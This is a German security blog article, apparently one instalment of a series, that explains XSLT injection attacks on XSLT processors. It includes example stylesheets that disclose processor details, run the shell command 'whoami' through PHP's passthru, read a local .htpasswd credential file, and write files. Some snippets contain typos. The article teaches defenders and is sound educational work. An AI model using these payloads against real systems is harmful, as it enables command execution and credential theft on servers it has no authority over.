Dipl.-Inform. Carsten Eilers

Ein weiterer Angriff über XML Injection erfolgt über XSLT (Extensible Stylesheet Language Transformations) und richtet sich gegen den XSLT-Prozessor sowie ggf. Schwachstellen darin. Man kann dann auch von XSL Injection sprechen.

Über präparierte XSLT-Dateien können verschiedene Angriffe durchgeführt werden.

Informationen ausspähen

Folgende XSLT-Datei verrät die Version des XSLT-Prozessors sowie dessen Hersteller samt URL zur Website:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:template match="/">
      Version:    <xsl:value -of select="system-property(’xsl:version ’)" /> 
      Hersteller: <xsl:value -of select="system-property(’xsl:vendor ’)" /> 
      Herst.-URL: <xsl:value-of select="system-property(’xsl:vendor-url’)" />
   </xsl:template> 
</xsl:stylesheet>

Wenn Sie jetzt denken "Was soll's, so schlimm ist das ja nicht!" haben Sie nur zum Teil recht. In der Tat sind das keine streng geheimen Informationen, aber trotzdem sind sie für den Angreifer nützlich: Wenn er weiß, mit welchem XSLT-Prozessor er es zu tun hat, kann er ihn gezielt Angreifen und dessen individuelle Features missbrauchen oder möglicherweise vorhandene Schwachstellen ausnutzen. Zu den Schwachstellen komme ich in der nächsten Folge, ein gefährliches Feature folgt sogleich:

Code ausführen

Einige XSLT-Prozessoren erlauben auch das Ausführen von Code, der direkt in der XSL-Datei steht. Dazu gehört auch PHP, wenn registerPHPFunctions aktiviert ist. Dann würde die folgende XSLT-Datei den Befehl whoami ausführen:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
   <xsl:template match="/">
      <xsl:value-of select="php:function('passthru','whoami')"/>
   </xsl:template>
</xsl:stylesheet>

Das Ausführen von Code ist allerdings ein zusätzliches Feature der Prozessoren und nicht Bestandteil der XSLT-Spezifikation des W3C.

Dateien lesen...

Auch das Lesen lokaler Dateien ist möglich. Die folgende Datei liest die .htpasswd-Datei und gibt, da sie nicht wohlgeformt ist, die erste Zeile und eine Fehlermeldung aus:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:sylesheet version=1.0 xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:template match="/"> 
      <xsl:copy-of select="document(’.htpasswd’)"/>
   </xsl:template> 
</xsl:stylesheet>

Eine wohlgeformte XML-Datei würde komplett ausgegeben.

... und schreiben

Auch das Schreiben von Dateien ist möglich. Dafür wird die in XSLT 2.0 spezifizierte Funktion <xsl:result-document> verwendet:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:template match="/">
      <xsl:result-document href="test.html">
          <b><xsl:text>Das ist alles nur ein Test...</xsl:text></b>
      </xsl:result-document>
   </xsl:template>
</xsl:stylesheet>

DoS-Angriffe und Stylesheets einbinden

Auch DoS-Angriffe, zum Beispiel durch ressourcenfressende Aktionen in einer for-each-Schleife, sind möglich.

Außerdem können über die Funktionen <xsl:include> und <xsl:import> Daten aus anderen Stylesheets in das aktuelle Stylesheet importiert werden. Damit lassen sich z.B. bösartige XSLT-Daten nachladen und ausführen.

In der nächsten Folge geht es um Schwachstellen in den XSLT-Prozessoren und Angriffe darauf bzw. darüber,

Carsten Eilers